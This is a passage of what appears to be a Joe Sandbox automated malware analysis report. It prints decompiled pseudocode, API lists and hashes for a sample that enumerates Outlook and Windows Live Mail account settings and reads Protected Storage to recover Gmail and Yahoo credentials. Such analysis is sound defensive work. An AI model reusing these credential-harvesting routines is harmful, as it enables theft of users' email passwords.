                                                                                                              0x00402cf7
                                                                                                              0x00402d0a
                                                                                                              0x00402d0f
                                                                                                              0x00402d12
                                                                                                              0x00402d14
                                                                                                              0x00402d1c
                                                                                                              0x00402d1c
                                                                                                              0x00402d35
                                                                                                              0x00402d48
                                                                                                              0x00402d4d
                                                                                                              0x00402d50
                                                                                                              0x00402d52
                                                                                                              0x00402d5c
                                                                                                              0x00402d5c
                                                                                                              0x00402d61
                                                                                                              0x00402d71
                                                                                                              0x00402d76
                                                                                                              0x00402d79
                                                                                                              0x00402d82
                                                                                                              0x00402d86
                                                                                                              0x00402d86
                                                                                                              0x00402d8c
                                                                                                              0x00402d8f
                                                                                                              0x00402d97

                                                                                                              APIs
                                                                                                                • Part of subcall function 0040EB3F: RegOpenKeyExA.KERNEL32(80000002,80000002,00000000,00020019,80000002), ref: 0040EB52
                                                                                                              • memset.MSVCRT ref: 00402C84
                                                                                                                • Part of subcall function 0040EC05: RegEnumKeyExA.KERNEL32 ref: 0040EC28
                                                                                                              • RegCloseKey.ADVAPI32(?), ref: 00402D86
                                                                                                                • Part of subcall function 0040EBC1: RegCloseKey.KERNEL32(000003FF), ref: 0040EBFA
                                                                                                              • memset.MSVCRT ref: 00402CDE
                                                                                                              • sprintf.MSVCRT ref: 00402CF7
                                                                                                              • sprintf.MSVCRT ref: 00402D35
                                                                                                                • Part of subcall function 00402BB8: memset.MSVCRT ref: 00402BD8
                                                                                                                • Part of subcall function 00402BB8: RegCloseKey.ADVAPI32 ref: 00402C3C
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: Closememset$sprintf$EnumOpen
                                                                                                              • String ID: %s\%s$Identities$Software\Microsoft\Internet Account Manager\Accounts$Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts$Username
                                                                                                              • API String ID: 1831126014-3814494228
                                                                                                              • Opcode ID: e4aa1602bea555a954d844856f574cbb82c1b83b43847f83a6013b06cc3fa28d
                                                                                                              • Instruction ID: 6c0256c292ffb55b53f7a2730c4bcad7d13cefd93b753116a94389aae211c0df
                                                                                                              • Opcode Fuzzy Hash: e4aa1602bea555a954d844856f574cbb82c1b83b43847f83a6013b06cc3fa28d
                                                                                                              • Instruction Fuzzy Hash: 25315C72D0011DBADB11EA96CD46EEFB77CAF04344F0405BABA19F2091E6B49F988F54
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00410D1B Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 97stringCOMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              C-Code - Quality: 92%
                                                                                                              			E00410D1B(void* __eflags, intOrPtr _a4) {
				void _v275;
				char _v276;
				char _v532;
				void _v539;
				char _v540;
				void _v795;
				char _v796;
				void* __edi;
				void* __esi;
				int _t44;
				char* _t46;
				char* _t48;
				void* _t64;
				intOrPtr _t65;
				void* _t66;
				signed int _t68;
				void* _t74;
				void* _t75;

				_t75 = __eflags;
				_v796 = 0;
				memset( &_v795, 0, 0x104);
				_t64 = 0x1c;
				_t61 =  &_v796;
				 *((intOrPtr*)(_a4 + 4)) = 1;
				E0040EE59( &_v796, _t64); // executed
				E00406734( &_v796, "\\Microsoft\\Windows Mail");
				_t65 = _a4;
				E00410C43(_t65, _t75, _t61); // executed
				 *((intOrPtr*)(_t65 + 4)) = 2;
				_t66 = 0x1c;
				E0040EE59(_t61, _t66);
				E00406734(_t61, "\\Microsoft\\Windows Live Mail");
				E00410C43(_a4, _t75, _t61); // executed
				_v276 = 0;
				memset( &_v275, 0, 0x104);
				_v540 = 0;
				memset( &_v539, 0, 0x104);
				E0040EBC1(_a4, 0x80000001, "Software\\Microsoft\\Windows Live Mail", "Store Root",  &_v276, 0x104); // executed
				_t74 = (_t68 & 0xfffffff8) - 0x31c + 0x38;
				ExpandEnvironmentStringsA( &_v276,  &_v540, 0x104);
				_t44 = strlen( &_v540);
				if(_t44 > 0) {
					_t48 = _t74 + _t44 + 0x117;
					if( *_t48 == 0x5c) {
						 *_t48 = 0;
					}
				}
				_push( &_v532);
				_t46 =  &_v796;
				_push(_t46);
				L004115B2();
				_t78 = _t46;
				if(_t46 != 0) {
					_t46 = E00410C43(_a4, _t78,  &_v532); // executed
				}
				return _t46;
			}





















                                                                                                              0x00410d1b
                                                                                                              0x00410d37
                                                                                                              0x00410d3c
                                                                                                              0x00410d49
                                                                                                              0x00410d4a
                                                                                                              0x00410d4e
                                                                                                              0x00410d55
                                                                                                              0x00410d5f
                                                                                                              0x00410d64
                                                                                                              0x00410d6d
                                                                                                              0x00410d72
                                                                                                              0x00410d7b
                                                                                                              0x00410d7c
                                                                                                              0x00410d86
                                                                                                              0x00410d92
                                                                                                              0x00410da2
                                                                                                              0x00410daa
                                                                                                              0x00410dbd
                                                                                                              0x00410dc5
                                                                                                              0x00410de5
                                                                                                              0x00410dea
                                                                                                              0x00410dfe
                                                                                                              0x00410e0c
                                                                                                              0x00410e14
                                                                                                              0x00410e16
                                                                                                              0x00410e20
                                                                                                              0x00410e22
                                                                                                              0x00410e22
                                                                                                              0x00410e20
                                                                                                              0x00410e2c
                                                                                                              0x00410e2d
                                                                                                              0x00410e31
                                                                                                              0x00410e32
                                                                                                              0x00410e37
                                                                                                              0x00410e3b
                                                                                                              0x00410e48
                                                                                                              0x00410e48
                                                                                                              0x00410e53

                                                                                                              APIs
                                                                                                              • memset.MSVCRT ref: 00410D3C
                                                                                                                • Part of subcall function 0040EE59: SHGetSpecialFolderPathA.SHELL32(00000000,00000000,0000001A,00000000,00000104), ref: 0040EE90
                                                                                                                • Part of subcall function 00406734: strlen.MSVCRT ref: 00406736
                                                                                                                • Part of subcall function 00406734: strlen.MSVCRT ref: 00406741
                                                                                                                • Part of subcall function 00406734: strcat.MSVCRT(00000000,dA,0000001C,00410D64,\Microsoft\Windows Mail,?,?,?), ref: 00406758
                                                                                                                • Part of subcall function 0040EE59: memset.MSVCRT ref: 0040EEAE
                                                                                                                • Part of subcall function 0040EE59: RegCloseKey.ADVAPI32(00000000), ref: 0040EF17
                                                                                                                • Part of subcall function 0040EE59: strcpy.MSVCRT(00000000,?,?,?,?,?,?,00000104), ref: 0040EF25
                                                                                                              • memset.MSVCRT ref: 00410DAA
                                                                                                              • memset.MSVCRT ref: 00410DC5
                                                                                                                • Part of subcall function 0040EBC1: RegCloseKey.KERNEL32(000003FF), ref: 0040EBFA
                                                                                                              • ExpandEnvironmentStringsA.KERNEL32(?,?,00000104,?,?,?,?,?,?,00000000,00000104,00000104,?,?,?,?), ref: 00410DFE
                                                                                                              • strlen.MSVCRT ref: 00410E0C
                                                                                                              • _stricmp.MSVCRT(?,?,?,?,?,?,?,?,00000000,00000104,00000104,?,?,?,?,?), ref: 00410E32
                                                                                                              Strings
                                                                                                              • Software\Microsoft\Windows Live Mail, xrefs: 00410DDB
                                                                                                              • Store Root, xrefs: 00410DD6
                                                                                                              • \Microsoft\Windows Live Mail, xrefs: 00410D81
                                                                                                              • \Microsoft\Windows Mail, xrefs: 00410D5A
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: memset$strlen$Close$EnvironmentExpandFolderPathSpecialStrings_stricmpstrcatstrcpy
                                                                                                              • String ID: Software\Microsoft\Windows Live Mail$Store Root$\Microsoft\Windows Live Mail$\Microsoft\Windows Mail
                                                                                                              • API String ID: 4292528749-2578778931
                                                                                                              • Opcode ID: 10f62fccb10d6ab5cb5e3cc7b7332f82ab6c2eefff75b44c14ee0fdec939c2a1
                                                                                                              • Instruction ID: 656a87abbde68b626b6b67706479efffa51c3f1aad4b8967eb2d69b922da332e
                                                                                                              • Opcode Fuzzy Hash: 10f62fccb10d6ab5cb5e3cc7b7332f82ab6c2eefff75b44c14ee0fdec939c2a1
                                                                                                              • Instruction Fuzzy Hash: 3D318DB2548348ABD324E799DC46FCB77DC9BC4318F04482FF649D7182E678D68487AA
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040875C Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 157COMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              • Executed
                                                                                                              • Not Executed
                                                                                                              control_flow_graph 336 40875c-4087b9 call 408572 ??2@YAPAXI@Z * 2 339 4087c0-408818 memcpy * 2 336->339 340 408847-408852 339->340 341 40881a-408846 call 4078ff * 2 339->341 340->339 343 408858-408892 ??2@YAPAXI@Z * 2 340->343 341->340 345 408894-40889c 343->345 346 4088ee 343->346 349 4088a5-4088c9 ??2@YAPAXI@Z 345->349 350 40889e 345->350 347 4088f0-40892a call 4086dc 346->347 353 4088cb-4088ea 349->353 350->349 353->353 354 4088ec 353->354 354->347
                                                                                                              C-Code - Quality: 92%
                                                                                                              			E0040875C(void* __eax, void* __eflags, signed int _a4, short _a8) {
				char _v8;
				signed int _v12;
				signed int _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t96;
				signed int _t98;
				void* _t99;
				signed int _t104;
				signed short _t107;
				signed int _t110;
				intOrPtr _t114;
				signed int _t117;
				signed int _t119;
				signed short _t121;
				signed int _t122;
				signed int _t152;
				signed int _t156;
				signed int _t158;
				signed int _t161;
				signed int _t163;
				signed int _t168;
				signed int _t169;
				signed int _t170;
				void* _t172;
				void* _t173;
				void* _t174;
				void* _t178;
				intOrPtr _t180;

				_t174 = __eflags;
				_t172 = __eax;
				E00408572(__eax);
				 *(_t172 + 0x2c) =  *(_t172 + 0x2c) & 0x00000000;
				_t122 = 0xd;
				 *((intOrPtr*)(_t172 + 0x184)) = _a4;
				_t156 = 0x14;
				_t96 = _t122 * _t156;
				 *(_t172 + 0x1b0) = _t122;
				_push( ~(0 | _t174 > 0x00000000) | _t96); // executed
				L004115D0(); // executed
				 *(_t172 + 0x1b4) = _t96;
				_t158 = 0x10;
				_t98 = _t122 * _t158;
				_push( ~(0 | _t174 > 0x00000000) | _t98);
				L004115D0();
				 *(_t172 + 0x34) = _t98;
				_v8 = 0x4168e0;
				do {
					_t21 =  &_v8; // 0x4168e0
					_t99 =  *_t21;
					_t168 =  *_t99;
					_v12 = _t168;
					_t169 = _t168 * 0x14;
					memcpy( *(_t172 + 0x1b4) + _t169, _t99, 0x14);
					_t24 =  &_v8; // 0x4168e0
					_t104 = _v12 << 4;
					_v12 = _t104;
					memcpy( *(_t172 + 0x34) + _t104,  *_t24 + 0x14, 0x10);
					_t107 =  *(_t169 +  *(_t172 + 0x1b4) + 0x10);
					_t173 = _t173 + 0x18;
					_v16 = _t107;
					 *((intOrPtr*)( *(_t172 + 0x34) + _v12 + 0xc)) = _t107;
					if((_t107 & 0xffff0000) == 0) {
						 *(_t169 +  *(_t172 + 0x1b4) + 0x10) = E004078FF(_t107 & 0x0000ffff);
						_t121 = E004078FF(_v16 | 0x00010000);
						 *( *(_t172 + 0x34) + _v12 + 0xc) = _t121;
						_t122 = 0xd;
					}
					_v8 = _v8 + 0x24;
					_t178 = _v8 - 0x416ab4;
				} while (_t178 < 0);
				 *(_t172 + 0x38) =  *(_t172 + 0x38) & 0x00000000;
				 *((intOrPtr*)(_t172 + 0x3c)) = _a8;
				_t161 = 4;
				_t110 = _t122 * _t161;
				 *(_t172 + 0x20) = _t122;
				 *((intOrPtr*)(_t172 + 0x1c)) = 0x20;
				_push( ~(0 | _t178 > 0x00000000) | _t110);
				L004115D0();
				_push(0xc);
				 *(_t172 + 0x24) = _t110;
				L004115D0();
				_t170 = _t110;
				if(_t170 == 0) {
					_t170 = 0;
					__eflags = 0;
				} else {
					_t114 =  *((intOrPtr*)(_t172 + 0x48));
					_t180 = _t114;
					_a8 = _t114;
					if(_t180 == 0) {
						_a8 = 0x64;
					}
					 *((intOrPtr*)(_t170 + 8)) = _a4;
					_t163 = 4;
					_t117 = _t122 * _t163;
					 *(_t170 + 4) = _t122;
					_push( ~(0 | _t180 > 0x00000000) | _t117);
					L004115D0();
					_a4 = _a4 & 0x00000000;
					 *_t170 = _t117;
					do {
						_t152 = _a4;
						_t119 = _t152 << 2;
						_a4 = _a4 + 1;
						 *( *_t170 + _t119 + 2) = _t152;
						 *((short*)(_t119 +  *_t170)) = _a8;
					} while (_a4 < _t122);
				}
				 *(_t172 + 0x19c) =  *(_t172 + 0x19c) & 0x00000000;
				 *(_t172 + 0x1a0) = _t170;
				 *((intOrPtr*)(_t172 + 0x40)) = 1;
				 *((intOrPtr*)(_t172 + 0x198)) = 1;
				 *((intOrPtr*)(_t172 + 0x1a4)) = 1;
				 *((intOrPtr*)(_t172 + 0x1a8)) = 1;
				 *((intOrPtr*)(_t172 + 0x1c4)) = 0x32;
				return E004086DC(_t172);
			}

































                                                                                                              0x0040875c
                                                                                                              0x00408765
                                                                                                              0x00408767
                                                                                                              0x0040876f
                                                                                                              0x00408775
                                                                                                              0x00408776
                                                                                                              0x00408780
                                                                                                              0x00408783
                                                                                                              0x00408788
                                                                                                              0x00408792
                                                                                                              0x00408793
                                                                                                              0x00408798
                                                                                                              0x004087a2
                                                                                                              0x004087a5
                                                                                                              0x004087ae
                                                                                                              0x004087af
                                                                                                              0x004087b6
                                                                                                              0x004087b9
                                                                                                              0x004087c0
                                                                                                              0x004087c0
                                                                                                              0x004087c0
                                                                                                              0x004087c3
                                                                                                              0x004087c5
                                                                                                              0x004087c8
                                                                                                              0x004087d7
                                                                                                              0x004087dc
                                                                                                              0x004087eb
                                                                                                              0x004087f1
                                                                                                              0x004087f4
                                                                                                              0x004087ff
                                                                                                              0x00408809
                                                                                                              0x00408811
                                                                                                              0x00408814
                                                                                                              0x00408818
                                                                                                              0x00408831
                                                                                                              0x00408835
                                                                                                              0x00408842
                                                                                                              0x00408846
                                                                                                              0x00408846
                                                                                                              0x00408847
                                                                                                              0x0040884b
                                                                                                              0x0040884b
                                                                                                              0x0040885b
                                                                                                              0x0040885f
                                                                                                              0x00408866
                                                                                                              0x00408869
                                                                                                              0x0040886e
                                                                                                              0x00408871
                                                                                                              0x0040887c
                                                                                                              0x0040887d
                                                                                                              0x00408882
                                                                                                              0x00408884
                                                                                                              0x00408887
                                                                                                              0x0040888c
                                                                                                              0x00408892
                                                                                                              0x004088ee
                                                                                                              0x004088ee
                                                                                                              0x00408894
                                                                                                              0x00408894
                                                                                                              0x00408897
                                                                                                              0x00408899
                                                                                                              0x0040889c
                                                                                                              0x0040889e
                                                                                                              0x0040889e
                                                                                                              0x004088a8
                                                                                                              0x004088af
                                                                                                              0x004088b2
                                                                                                              0x004088b7
                                                                                                              0x004088be
                                                                                                              0x004088bf
                                                                                                              0x004088c4
                                                                                                              0x004088c9
                                                                                                              0x004088cb
                                                                                                              0x004088cb
                                                                                                              0x004088d2
                                                                                                              0x004088d5
                                                                                                              0x004088db
                                                                                                              0x004088e6
                                                                                                              0x004088e6
                                                                                                              0x004088ec
                                                                                                              0x004088f0
                                                                                                              0x004088fa
                                                                                                              0x00408902
                                                                                                              0x00408905
                                                                                                              0x0040890b
                                                                                                              0x00408911
                                                                                                              0x00408917
                                                                                                              0x0040892a

                                                                                                              APIs
                                                                                                                • Part of subcall function 00408572: ??3@YAXPAX@Z.MSVCRT ref: 0040857E
                                                                                                                • Part of subcall function 00408572: ??3@YAXPAX@Z.MSVCRT ref: 0040858C
                                                                                                                • Part of subcall function 00408572: ??3@YAXPAX@Z.MSVCRT ref: 0040859D
                                                                                                                • Part of subcall function 00408572: ??3@YAXPAX@Z.MSVCRT ref: 004085B4
                                                                                                                • Part of subcall function 00408572: ??3@YAXPAX@Z.MSVCRT ref: 004085BD
                                                                                                              • ??2@YAPAXI@Z.MSVCRT ref: 00408793
                                                                                                              • ??2@YAPAXI@Z.MSVCRT ref: 004087AF
                                                                                                              • memcpy.MSVCRT ref: 004087D7
                                                                                                              • memcpy.MSVCRT ref: 004087F4
                                                                                                              • ??2@YAPAXI@Z.MSVCRT ref: 0040887D
                                                                                                              • ??2@YAPAXI@Z.MSVCRT ref: 00408887
                                                                                                              • ??2@YAPAXI@Z.MSVCRT ref: 004088BF
                                                                                                                • Part of subcall function 004078FF: LoadStringA.USER32 ref: 004079C8
                                                                                                                • Part of subcall function 004078FF: memcpy.MSVCRT ref: 00407A07
                                                                                                                • Part of subcall function 004078FF: strcpy.MSVCRT(004172C0,strings,?,?,00408822,?,?,?,?,?,00000000,74EC1245), ref: 0040797A
                                                                                                                • Part of subcall function 004078FF: strlen.MSVCRT ref: 00407998
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: ??2@??3@$memcpy$LoadStringstrcpystrlen
                                                                                                              • String ID: d$hA
                                                                                                              • API String ID: 3781940870-4030989184
                                                                                                              • Opcode ID: 5e50d2b62f6993c86ffac77c026433a38f7ee8811e4eb043570a690e7a3712a1
                                                                                                              • Instruction ID: 2ee817cab8fb9d662dc1fdc17dcda2a390100e1008d8253a008a3d74f0a2914d
                                                                                                              • Opcode Fuzzy Hash: 5e50d2b62f6993c86ffac77c026433a38f7ee8811e4eb043570a690e7a3712a1
                                                                                                              • Instruction Fuzzy Hash: 76518D72A01704AFDB24DF2AC582B9AB7E5FF48354F10852EE54ADB391EB74E940CB44
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 004037B1 Relevance: 12.1, APIs: 7, Strings: 1, Instructions: 86stringCOMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              • Executed
                                                                                                              • Not Executed
                                                                                                              control_flow_graph 356 4037b1-403803 memset * 2 call 410f79 359 4038c9-4038cc 356->359 360 403809-403869 call 4021d8 call 4060d0 * 2 strchr 356->360 367 40386b-40387c strcpy 360->367 368 40387e-403889 strlen 360->368 369 4038a6-4038c4 strcpy call 402407 367->369 368->369 370 40388b-4038a3 sprintf 368->370 369->359 370->369
                                                                                                              C-Code - Quality: 76%
                                                                                                              			E004037B1(void* __ecx, void* __edi, void* __fp0, intOrPtr _a4) {
				char _v276;
				char _v404;
				intOrPtr _v408;
				char _v792;
				intOrPtr _v796;
				char _v924;
				char _v936;
				void _v1959;
				char _v1960;
				void _v2983;
				char _v2984;
				void* __ebx;
				void* __esi;
				void* _t28;
				void* _t50;
				void* _t51;
				char* _t59;
				char* _t63;
				void* _t70;

				_t70 = __fp0;
				_t51 = __ecx;
				_v1960 = 0;
				memset( &_v1959, 0, 0x3ff);
				_v2984 = 0;
				memset( &_v2983, 0, 0x3ff);
				_t28 = E00410F79(_t51,  &_v2984,  &_v1960); // executed
				if(_t28 == 0) {
					return _t28;
				}
				E004021D8( &_v936);
				_push( &_v1960);
				_t50 = 0x7f;
				E004060D0(_t50,  &_v276);
				_t59 =  &_v404;
				E004060D0(_t50, _t59,  &_v2984);
				_v796 = 9;
				_v408 = 3;
				_t63 = strchr(_t59, 0x40);
				_push( &_v404);
				if(_t63 == 0) {
					if(strlen() + 0xa < 0) {
						sprintf( &_v792, "%s@yahoo.com",  &_v404);
					}
				} else {
					strcpy( &_v792, ??);
					 *_t63 = 0;
				}
				strcpy( &_v924,  &_v404);
				return E00402407( &_v936, _t70, _a4);
			}






















                                                                                                              0x004037b1
                                                                                                              0x004037b1
                                                                                                              0x004037cc
                                                                                                              0x004037d2
                                                                                                              0x004037e0
                                                                                                              0x004037e6
                                                                                                              0x004037fc
                                                                                                              0x00403803
                                                                                                              0x004038cc
                                                                                                              0x004038cc
                                                                                                              0x00403810
                                                                                                              0x0040381b
                                                                                                              0x0040381e
                                                                                                              0x00403825
                                                                                                              0x00403831
                                                                                                              0x00403837
                                                                                                              0x00403841
                                                                                                              0x0040384b
                                                                                                              0x0040385d
                                                                                                              0x00403868
                                                                                                              0x00403869
                                                                                                              0x00403889
                                                                                                              0x0040389e
                                                                                                              0x004038a3
                                                                                                              0x0040386b
                                                                                                              0x00403872
                                                                                                              0x00403879
                                                                                                              0x00403879
                                                                                                              0x004038b4
                                                                                                              0x00000000

                                                                                                              APIs
                                                                                                              • memset.MSVCRT ref: 004037D2
                                                                                                              • memset.MSVCRT ref: 004037E6
                                                                                                                • Part of subcall function 00410F79: memset.MSVCRT ref: 00410F9B
                                                                                                                • Part of subcall function 00410F79: RegCloseKey.ADVAPI32(?), ref: 00411007
                                                                                                                • Part of subcall function 004060D0: strlen.MSVCRT ref: 004060D5
                                                                                                                • Part of subcall function 004060D0: memcpy.MSVCRT ref: 004060EA
                                                                                                              • strchr.MSVCRT ref: 00403855
                                                                                                              • strcpy.MSVCRT(?,?,?,?,?), ref: 00403872
                                                                                                              • strlen.MSVCRT ref: 0040387E
                                                                                                              • sprintf.MSVCRT ref: 0040389E
                                                                                                              • strcpy.MSVCRT(?,?,?,?,?), ref: 004038B4
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: memset$strcpystrlen$Closememcpysprintfstrchr
                                                                                                              • String ID: %s@yahoo.com
                                                                                                              • API String ID: 1649821605-3288273942
                                                                                                              • Opcode ID: d756cc4bb234ca8bd2adb7c792dfa1259f1477984d05252a8ea6bc4bb60e6678
                                                                                                              • Instruction ID: 59c64947ec9ad5e5fa7ad27033647646f0aae9e06f6053b7dc62ef58ab254070
                                                                                                              • Opcode Fuzzy Hash: d756cc4bb234ca8bd2adb7c792dfa1259f1477984d05252a8ea6bc4bb60e6678
                                                                                                              • Instruction Fuzzy Hash: 592184B3D0412C6EDB21EB55DD41FDA77AC9F85308F0404EBB64DE6041E6B8AB848BA5
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 004036CC Relevance: 10.6, APIs: 6, Strings: 1, Instructions: 67stringCOMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              • Executed
                                                                                                              • Not Executed
                                                                                                              control_flow_graph 372 4036cc-4036dc 373 4036e2-4036f0 call 40e906 372->373 374 4037ad-4037ae 372->374 376 4036f5-4036f7 373->376 377 4037ac 376->377 378 4036fd-403711 strchr 376->378 377->374 378->377 379 403717-40376e call 4021d8 strcpy * 2 strlen 378->379 382 403770-403788 sprintf 379->382 383 40378b-4037a7 strcpy call 402407 379->383 382->383 383->377
                                                                                                              C-Code - Quality: 100%
                                                                                                              			E004036CC(void* __ecx, void* __edi, void* __esi, void* __fp0, intOrPtr _a4) {
				char _v5;
				char _v132;
				char _v404;
				char _v532;
				intOrPtr _v536;
				char _v920;
				intOrPtr _v924;
				char _v1052;
				char _v1064;
				void* __ebx;
				void* _t18;
				char* _t20;
				char* _t39;
				char* _t41;
				void* _t48;
				void* _t59;

				_t59 = __fp0;
				_t48 = __edi;
				if( *((intOrPtr*)(__edi + 0x888)) == 0) {
					return _t18;
				}
				_t39 =  &_v132;
				_t20 = E0040E906(_t39, __edi + 0x87c, _a4); // executed
				if(_t20 != 0) {
					_v5 = 0;
					_t20 = strchr(_t39, 0x3a);
					_t41 = _t20;
					if(_t41 != 0) {
						 *_t41 = 0;
						E004021D8( &_v1064);
						strcpy( &_v404,  &(_t41[1]));
						strcpy( &_v532,  &_v132);
						_v924 = 7;
						_v536 = 3;
						if(strlen( &_v532) + 0xa < 0x7f) {
							sprintf( &_v920, "%s@gmail.com",  &_v532);
						}
						strcpy( &_v1052,  &_v532);
						_t20 = E00402407( &_v1064, _t59, _t48);
					}
				}
				return _t20;
			}



















                                                                                                              0x004036cc
                                                                                                              0x004036cc
                                                                                                              0x004036dc
                                                                                                              0x004037ae
                                                                                                              0x004037ae
                                                                                                              0x004036ed
                                                                                                              0x004036f0
                                                                                                              0x004036f7
                                                                                                              0x00403702
                                                                                                              0x00403706
                                                                                                              0x0040370b
                                                                                                              0x00403711
                                                                                                              0x0040371e
                                                                                                              0x00403721
                                                                                                              0x0040372f
                                                                                                              0x0040373f
                                                                                                              0x0040374b
                                                                                                              0x00403755
                                                                                                              0x0040376e
                                                                                                              0x00403783
                                                                                                              0x00403788
                                                                                                              0x00403799
                                                                                                              0x004037a7
                                                                                                              0x004037a7
                                                                                                              0x00403711
                                                                                                              0x00000000

                                                                                                              APIs
                                                                                                                • Part of subcall function 0040E906: UuidFromStringA.RPCRT4(5e7e8100-9138-11d1-945a-00c04fc308ff,?), ref: 0040E91D
                                                                                                                • Part of subcall function 0040E906: UuidFromStringA.RPCRT4(00000000-0000-0000-0000-000000000000,?), ref: 0040E92A
                                                                                                                • Part of subcall function 0040E906: memcpy.MSVCRT ref: 0040E966
                                                                                                                • Part of subcall function 0040E906: CoTaskMemFree.OLE32(?), ref: 0040E975
                                                                                                              • strchr.MSVCRT ref: 00403706
                                                                                                              • strcpy.MSVCRT(?,00000001,?,?,?), ref: 0040372F
                                                                                                              • strcpy.MSVCRT(?,?,?,00000001,?,?,?), ref: 0040373F
                                                                                                              • strlen.MSVCRT ref: 0040375F
                                                                                                              • sprintf.MSVCRT ref: 00403783
                                                                                                              • strcpy.MSVCRT(?,?), ref: 00403799
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: strcpy$FromStringUuid$FreeTaskmemcpysprintfstrchrstrlen
                                                                                                              • String ID: %s@gmail.com
                                                                                                              • API String ID: 2649369358-4097000612
                                                                                                              • Opcode ID: 54903d80b682238d7ebfd218583c1774319c6b1be4d607b0d7699df45f23e7c9
                                                                                                              • Instruction ID: 7e171057c748ab9e8bd63aa8a265ef6dac548e8f33c4ed25ddb9a168741e2a8b
                                                                                                              • Opcode Fuzzy Hash: 54903d80b682238d7ebfd218583c1774319c6b1be4d607b0d7699df45f23e7c9
                                                                                                              • Instruction Fuzzy Hash: B221ABF294411C6EDB11DB55DC85FDA77ACAB54308F4004BBE609E2081EA789BC48B69
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040E906 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 54COMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              • Executed
                                                                                                              • Not Executed
                                                                                                              control_flow_graph 385 40e906-40e92e UuidFromStringA * 2 386 40e980 385->386 387 40e930-40e932 385->387 388 40e982-40e985 386->388 387->386 389 40e934-40e94d call 40e8ca 387->389 391 40e952-40e954 389->391 391->386 392 40e956-40e95c 391->392 393 40e961-40e97e memcpy CoTaskMemFree 392->393 394 40e95e-40e960 392->394 393->388 394->393
                                                                                                              C-Code - Quality: 25%
                                                                                                              			E0040E906(void* __ebx, int _a4, void* _a8) {
				char _v20;
				char _v36;
				char _v52;
				void* _t15;
				void* _t17;
				void* _t24;
				void* _t28;
				intOrPtr* _t31;
				int _t32;

				_t28 = __ebx;
				_t31 = __imp__UuidFromStringA;
				_t15 =  *_t31("5e7e8100-9138-11d1-945a-00c04fc308ff",  &_v36);
				_t17 =  *_t31("00000000-0000-0000-0000-000000000000",  &_v20);
				if(_t15 != 0 || _t17 != 0) {
					L6:
					return 0;
				} else {
					_t24 = E0040E8CA( &_v52, _a4,  &_v36,  &_v20, _a8,  &_a4,  &_a8); // executed
					if(_t24 != 0) {
						goto L6;
					}
					_t32 = _a4;
					if(_t32 > 0x7e) {
						_t32 = 0x7e;
					}
					memcpy(_t28, _a8, _t32);
					 *((char*)(_t28 + _t32)) = 0;
					__imp__CoTaskMemFree(_a8);
					return 1;
				}
			}












                                                                                                              0x0040e906
                                                                                                              0x0040e90d
                                                                                                              0x0040e91d
                                                                                                              0x0040e92a
                                                                                                              0x0040e92e
                                                                                                              0x0040e980
                                                                                                              0x00000000
                                                                                                              0x0040e934
                                                                                                              0x0040e94d
                                                                                                              0x0040e954
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x0040e956
                                                                                                              0x0040e95c
                                                                                                              0x0040e960
                                                                                                              0x0040e960
                                                                                                              0x0040e966
                                                                                                              0x0040e971
